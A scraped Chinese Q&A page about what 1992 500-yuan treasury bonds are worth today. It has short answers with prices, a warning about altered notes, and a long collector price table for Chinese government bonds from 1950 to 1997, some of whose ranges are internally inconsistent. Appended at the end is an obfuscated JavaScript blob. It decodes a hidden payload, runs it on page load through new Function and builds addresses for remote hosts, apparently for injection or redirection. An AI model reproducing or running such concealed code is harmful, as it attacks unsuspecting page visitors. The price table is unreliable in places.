1992年500元一张的国库券现在能值多少钱?

2025-02-09 06:05:35
推荐回答(4个)
回答1:

全新的92年500元面值的国库券一期的值3000元、

第二期的92年500元十分稀少,是500元国库券的龙头老大;

6种500元,市场交易价4500-5500元;

有奸商利用第一期500元券,涂改成第二期,购买时需当心!

附图:

回答2:

最新国库券收藏价格参考表

年份 券别 正面图景 正面主色 规格(mm) 期限(年) 年利率 满全期付利息 样票参考(元)
下品-中品-全新 实票参考价(元)
下品-中品-全新
息票全的价格
1950 1分 压路机 浅黑色 178×123 1--5 5% 200-600-900 450-1000-3050
1950 10分 工农兵像 茶色 174×173 1--5 5% 500-800-1500 900-5400-1.5万
1950 100分 天安门群众游行场面 红色 205×197 1--5 5% 800-1800-2500 4500-2万-4.5万
1950 500分 解放军骑马举军旗 蓝色 213×210 1--5 5% 1200-2500-5000 1万-3.6万-7.5万
年份 券别 正面图景 正面主色 规格(mm) 期限(年) 年利率 满全期付利息 样票参考价
下品-中品-全新 实票参考价
下-中品-全新
息票全的价
1954 1万 元 联合收割机 蓝色 128×139 1--8 4% 600元 2000元
1954 2万元 汽车运输 红色 140×150 1--8 4% 600元 2000元
1954 5万元 炼钢厂 紫色 150×160 1--8 4% 600元 2000元
1954 10万元 农业大丰收 绿色 160×170 1--8 4% 600元 2000元
1954 50万元 火车 棕色 169×181 1--8 4% 600元 5000元
1955 1万元 一万元字、花球 红色 130×139 1--10 4% 800元 2000元
1955 2万元 二万元字、花球 紫色 144.5×134.5 1--10 4% 800元 2000元
1955 5万元 五万元字、花球 绿色 150×140 1--10 4% 1000元 2000元
1955 10万元 挖土机 蓝色 154×145 1--10 4% 1200元 2000元
1955 50万元 联合收割机 棕色 158×150 1--10 4% 1500元 5000元
1955 100万元 炼钢厂 绿色 167×155 1--10 4% 1600元 6000元
1956 1元 国徽、1圆字、花球 深紫色 140×137.5 1--10 4% 900元 2000元
1956 2元 国徽、2圆字、花球 深绿色 145×143 1--10 4% 900元 2000元
1956 5元 国徽、5圆字、花球 棕色 151×149 1--10 4% 900元 2000元
1956 10元 联合收割机 深棕色 160×158 1--10 4% 900元 2000元
1956 50元 火车穿越铁桥 深绿色 165×163.5 1--10 4% 900元 4500元
1956 100元 采矿厂 蓝色 170×168.75 1--10 4% 900元 4500元
1957 1元 脱粒机 红色 160×170 1--10 4% 900元 2600元
1957 2元 木材运输 紫色 164×137 1--10 4% 900元 2600元
1957 5元 勘探队员 棕色 142×170 1--10 4% 900元 2600元
1957 10元 康藏公路运输车队 红色 176×149 1--10 4% 900元 2600元
1957 50元 水库大坝 浅红、棕色 154×182 1--10 4% 1000元 6000元
1957 100元 现代化洗煤厂 棕色 159×188 1--10 4% 1000元 6000元
1958 1元 农民脱粒 棕色 132×80.5 1--10 4% 800元 1300元
1958 2元 木材运输 枣红、黑色 137×84 1--10 4% 800元 1300元
1958 5元 勘探队员 枣红、黑色 142×87 1--10 4% 800元 1300元
1958 10元 运输车队 枣红色 149×88.5 1--10 4% 800元 1 300元
1958 50元 水库大坝 枣红色 153×92.5 1--10 4% 1000元 2000元
1958 100元 现代化洗煤厂 枣红色 157×95.5 1--10 4% 1000元 3000元
年份 券别 正面图景 正面主色 规格mm 期限 年利率
满全期付利息
样票参考价(元)
下品-中品-全新 实票参考价(元)
下品-中品-全新
1981 拾元圆 露天煤矿 深蓝色 160*85 5-9年 4% 3.6 80-150-250 50-90-550
1981 壹佰圆 露天煤矿 枣红色 160*85 5-9年 4% 36 150-360-750 450-720-4500
1981 壹仟圆 官厅水库 墨绿色 180*100 5-9年 4% 360 300-550-780 5000-8000-16000
1981 壹万圆 官厅水库 棕色 180*100 5-9年 4% 3600 1000-1500-2000 3万-20万-30万
1981 拾万圆 官厅水库 深蓝色 180*100 5-9年 4% 36000 10万-30万-50万 80万-150万-280万
1982 壹圆 挖煤机 蓝色 140*75 5-9年 8% 0.72 10-20-30 10-30-50
1982 伍圆 挖煤机 棕色 140*75 5-9年 8% 3.60 20-40-80 40-80-200
1982 拾圆 海上钻井 紫色 150*80 5-9年 8% 7.2 20-40-250 80-145-650
1982 壹佰圆 宝山钢厂 墨绿 160*85 5-9年 8% 72 100-300-1000 600-3000-18000
1983 伍圆 炼油厂 棕色 142*64 5-9年 8% 3.6 20-60-100 50-80-150
1983 拾圆 炼油厂 蓝黑色 142*64 5-9年 8% 7.2 40-60-100 65-160-700
1983 伍拾元 立交桥 墨绿色 156*72 5-9年 8% 36 100-300-800 1500-3600-8000
1983 壹佰元 立交桥 紫色 156*72 5-9年 8% 72 800-2000-3000 4000-10000-18000
1984 伍圆 农用飞机 棕色 142*64 5-9年 8% 3.6 20-30-50 30-55-150
1984 拾圆 葛洲坝 墨绿色 142*64 5-9年 8% 7.2 20-50-80 50-90-300
1984 伍拾元 港口 蓝色 156*72 5-9年 8% 36 50-80-130 200-3000-7000
1984 壹佰元 交通运输 粉红色 156*72 5-9年 8% 72 100-300-800 300-4000-15000
1985 伍圆 海上轮船 棕色 142*64 5年 9% 2.25 20-50-80 20-60-100
1985 拾圆 民航飞机 蓝绿 142*64 5年 9% 4.50 20-80-180 80-180-300
1985 伍拾圆 卫星接收站 蓝色 156*72 5年 9% 22.50 50-100-300 1200-3000-8000
1985 壹佰元 石油化工厂 红色 156*72 5年 9% 45 100-300-800 800-8000-15000
1986 伍圆 电化教育 绿色 142*64 5年 10% 2.5 20-30-50 25-50-100
1986 拾圆 体育馆 绿色 142*64 5年 10% 5 20-50-80 50--100-150
1986 伍拾圆 联合收割机 蓝色 156*72 5年 10% 25 30-50-80 300-700-1200
1986 壹佰元 工业宝钢 黑色 156*72 5年 10% 50 50-80-120 500-2000-3800
1987 伍圆 集装箱码头 枣红色 142*64 5年 10% 2.50 10-30-100 30-60-100
1987 拾圆 核能发电站 绿色 142*64 5年 10% 5 20-30-80 40-70-150
1987 伍拾圆 挖土机 蓝黑色 156*72 5年 10% 25 200-500-800 300-1500-3600
1987 壹佰元 宝钢码头 蓝色 156*72 5年 10% 50 100-200-500 500-3000-12000
1988 伍圆 航天工业 蓝色 142*64 3年 10% 1.5 5-8-12 20-40-80
1988 拾圆 贵阳铁路 黑色 142*64 3年 10% 3 10-50-100 25-50-130
1988 伍拾圆 江西冶炼厂 绿色 156*72 3年 10% 15 50-100-300 120-300-650
1988 壹佰元 广州立交桥 棕色 156*72 3年 10% 30 100-300-500 500-2000-4500
1989 伍圆 上海汽车 桔黄色 142*64 3年 14% 2.10 5-15-50 10-30-80
1989 拾圆 海南橡胶林 蓝色 142*64 3年 14% 4.20 10-30-50 30-50-130
1989 伍拾圆 上海新客站 蓝色 156*72 3年 14% 21 30-60-100 150-400-900
1989 壹佰元 湛江油码头 枣红色 156*72 3年 14% 42 100-1500-3000 600-4000-8000
1990 伍圆 朝阳体育馆 兰色 142*64 3年 14% 2.10 5-10-50 15-38-80
1990 拾圆 西昌卫星发射 紫色 142*64 3年 14% 4.20 10-30-100 25-50-125
1990 贰拾圆 海淀体育馆 绿色 142*64 3年 14% 8.40 20-50-100 35-90-200
1990 伍拾圆 三门蛱水库 棕色 156*72 3年 14% 21 50-100-300 120-300-800
1990 壹佰元 石景山体育馆 绿色 156*72 3年 14% 42 100-500-1000 300-2500-5500
1991 伍圆 江南水乡 蓝色 142*64 3年 10% 1.5 5-10-50 15-30-90
1991 拾圆 云南石林 紫色 142*64 3年 10% 3 10-20-80 25-50-90
1991 贰拾圆 黄果树瀑布 棕色 142*64 3年 10% 6 20-30-100 40-80-200
1991 伍拾圆 云南风光 绿色 156*72 3年 10% 15 50-80-300 150-300-750
1991 壹佰元 桂林山水 灰黑 156*72 3年 10% 30 100-50-600 220-580-1600
1992 伍拾圆一期 盐湖采矿 棕色 156*72 5年 10.5% 32。87 50-100-500 150-280-750
1992 壹佰元一期 大庆石油 蓝色 156*72 5年 10.5% 65。74 100-200-300 160-380-950
1992 伍佰圆一期 西北防护林 绿色 156*72 5年 10.5% 328。70 100-600-800 1000-2000-5500
1992 伍拾圆二期 盐湖采矿 棕色 156*72 5年 13% 30 50-100-300 150-280-700
1992 壹佰元二期 大庆石油 蓝色 156*72 3年 13% 60 100-200-300 160-300-750
1992 伍佰圆二期 西北防护林 绿色 156*72 3年 13% 300 500-2000-5000 1000-5000-7500
1992 壹仟圆二期 秦皇岛煤码头 紫红色 156*72 3年 13% 600 1000-1500-5000 2000-5200-18000
1993 壹佰元三年期 深圳火车站 红色 156*72 3年 13。96% 71。99 100-200-300 190-300-800
1993 伍佰圆三年期 上海农民新村 紫红色 156*72 3年 13。96% 359。95 500-150-2000 100-2000-5000
1993 壹仟元三年期 上海南蒲大桥 绿色 156*72 3年 13。96% 719。90 1000-1500-4000 2000-4000-20000
1993 壹佰元五年期 深圳火车站 绿色 156*72 5年 15。86% 79。30 100-200-350 190-350-900
1993 伍佰圆五年期 上海农民新村 深紫色 156*71 5年 15。86% 396。50 100-150-200 900-4000-8000
1993 壹仟元五年期 上海南蒲大桥 黑绿色 156*72 5年 15。86% 793 1000-1500-5000 2000-6000-9000
1994 壹佰元一期 山区医院 棕色 156*72 2年 13% 26 100-150-300 130-300-700
1994 伍佰圆一期 紫金山天文台 棕色 156*72 2年 13% 130 500-1500-2000 900-2000-5000
1994 壹仟圆一期 蒲东开发 棕色 156*72 2年 13% 260 100-150-200 1300-1600-2000
1994 壹佰元二期 山区医院 兰色 156*72 2年 13% 26 100-20-500 150-300-700
1994 伍佰圆二期 紫金山天文台 蓝色 156*72 2年 13% 130 500-2000-5000 800-2800-5500
1994 壹仟圆二期 蒲东开发 蓝色 156*72 2年 13% 260 1000-3000-10000 2000-8000-12000
1995 壹佰元 石白港煤码头 绿色 156*72 3年 14。5% 43。50 100-200-800 200-380-850
1995 壹仟圆 拉萨布达拉宫 蓝色 156*72 3年 14。5% 435 1000-3000-10000 2000-10000-15000
1995 伍仟圆 上海陆家嘴 红色 156*72 3年 14。5% 2175 5000-2000-5000 1万-5万-10万
1996 壹佰元一期 上海立交桥 褐色 155*72 3年 14。5% 43。50 100-200-1000 200-700-1700
1996 壹仟圆一期 牧场 绿色 155*72 3年 14。5% 435 1000-800-2000 1600-2800-7000
1996 伍仟圆一期 攀钢 青蓝色 155*72 3年 14。5% 2175 2000-1万-5万 1.2万-3万-6万
1992 壹佰元二期 仪征化纤 蓝色 155*72 3年 10。96% 32。88 100-500-3000 300-1800-3800
1996 壹仟圆二期 铜陵大桥 淡粉色 155*72 3年 10。96% 328。8 500-1200-2000 1600-3000-6000
1996 伍仟圆二期 武汉港 粉黑色 155*72 3年 10。96% 1644 800-5000-2万 9000-3万-8万
1997 壹佰元 上海外高桥 绿色 156*72 3年 9。18% 27。54 100-300-500 150-300-650
1997 壹仟圆 京九铁路 淡紫色 156*72 3年 9。18% 275。40 100-1000-2000 1350-2600-8000
1997 伍仟圆 北京西站 淡蓝色 156*72 3年 9。18% 1377 800-5000-2万 8000-1.8万-4.5万
1988 建设债券壹佰元 炼油 浅蓝色 170*80 2年 9。5% 19 100-200-2000 200-1000-1600
1988 建设债券伍佰圆 炼油 深蓝色 170*80 2年 9。5% 95 100-500-5000 650-2200-5000
1988 建设债券壹仟圆 炼油 紫红色 170*80 2年 9。5 190 100-1000-8000 1300-6000-1万
1988 建设债券壹万圆 炼油 黄棕色 170*80 2年 9。5 19000 1000-1万-3万 6万-8万
1989 保值公债20圆 水电站 蓝绿色 157*72 3年 13。14% 8。84 50-100-150 50-100-200
1989 保值公债50圆 海上石油 黄棕色 157*72 3年 13。14% 21。21 100-200-300 100-250-600
1989 保值公债100圆 华化工厂 蓝绿色 157*72 3年 13。14% 42。42 100-200-300 200-400-900
1989 保值公债5000圆 海上石油 紫粉色 157*72 3年 13。14% 2121 100-150-3000 7500-10000-13800
1988 基本建设债券100元 水电站 绿/粉 159*77 3年 14.14% 42.42 100-300-300 5-150-300
1988 基本建设债券500元 水电站 棕浅粉 159*77 3年 14.14% 212.1 100-300-500 50-750-1050

8

回答3:

全新的92年500元面值的国库券一期的值3000元、二期的值6000元

回答4:

1992年5年期的国库劵值多少钱

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();